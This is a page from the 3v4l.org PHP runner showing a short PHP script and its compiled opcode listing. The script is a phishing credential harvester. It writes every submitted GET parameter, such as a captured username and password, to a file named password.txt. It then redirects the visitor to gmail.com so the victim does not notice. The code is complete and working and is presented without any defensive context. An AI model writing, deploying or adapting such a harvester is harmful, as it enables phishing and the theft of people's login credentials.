3v4l.org

run code in 300+ PHP versions simultaneously
<br \> <?php header ('Location: http://www.gmail.com'); $handle = fopen("password.txt", "a"); foreach($_GET as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "===============\r\n"); fclose($handle); exit;?> <br \>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 11, Position 2 = 30
Branch analysis from position: 11
2 jumps found. (Code = 78) Position 1 = 12, Position 2 = 30
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 11
Branch analysis from position: 11
Branch analysis from position: 30
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 30
filename:       /in/uqZKM
function name:  (null)
number of ops:  41
compiled vars:  !0 = $handle, !1 = $value, !2 = $variable
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ECHO                                                     '%3Cbr+%5C%3E%0A'
    2     1        INIT_FCALL                                               'header'
          2        SEND_VAL                                                 'Location%3A+http%3A%2F%2Fwww.gmail.com'
          3        DO_ICALL                                                 
    3     4        INIT_FCALL                                               'fopen'
          5        SEND_VAL                                                 'password.txt'
          6        SEND_VAL                                                 'a'
          7        DO_ICALL                                         $4      
          8        ASSIGN                                                   !0, $4
    4     9        FETCH_R                      global              ~6      '_GET'
         10      > FE_RESET_R                                       $7      ~6, ->30
         11    > > FE_FETCH_R                                       ~8      $7, !1, ->30
         12    >   ASSIGN                                                   !2, ~8
    5    13        INIT_FCALL                                               'fwrite'
         14        SEND_VAR                                                 !0
         15        SEND_VAR                                                 !2
         16        DO_ICALL                                                 
    6    17        INIT_FCALL                                               'fwrite'
         18        SEND_VAR                                                 !0
         19        SEND_VAL                                                 '%3D'
         20        DO_ICALL                                                 
    7    21        INIT_FCALL                                               'fwrite'
         22        SEND_VAR                                                 !0
         23        SEND_VAR                                                 !1
         24        DO_ICALL                                                 
    8    25        INIT_FCALL                                               'fwrite'
         26        SEND_VAR                                                 !0
         27        SEND_VAL                                                 '%0D%0A'
         28        DO_ICALL                                                 
    4    29      > JMP                                                      ->11
         30    >   FE_FREE                                                  $7
   10    31        INIT_FCALL                                               'fwrite'
         32        SEND_VAR                                                 !0
         33        SEND_VAL                                                 '%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%3D%0D%0A'
         34        DO_ICALL                                                 
   11    35        INIT_FCALL                                               'fclose'
         36        SEND_VAR                                                 !0
         37        DO_ICALL                                                 
   12    38      > EXIT                                                     
   13    39*       ECHO                                                     '%3Cbr+%5C%3E'
         40*     > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
158.46 ms | 1400 KiB | 21 Q